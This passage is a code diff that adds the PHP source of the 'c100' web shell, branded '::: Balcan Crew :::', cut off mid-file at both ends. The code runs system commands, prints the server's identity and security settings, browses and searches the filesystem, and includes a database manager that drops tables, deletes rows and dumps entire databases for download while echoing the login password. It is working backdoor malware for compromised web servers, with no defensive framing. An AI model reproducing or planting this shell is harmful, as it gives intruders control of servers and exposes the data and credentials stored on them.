$result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("N3tfsearch")) +{ +function N3tfsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {N3tfsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function N3tshexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> + +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - ::: Balcan Crew ::: </title><STYLE> +TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;} +</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c100 v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE 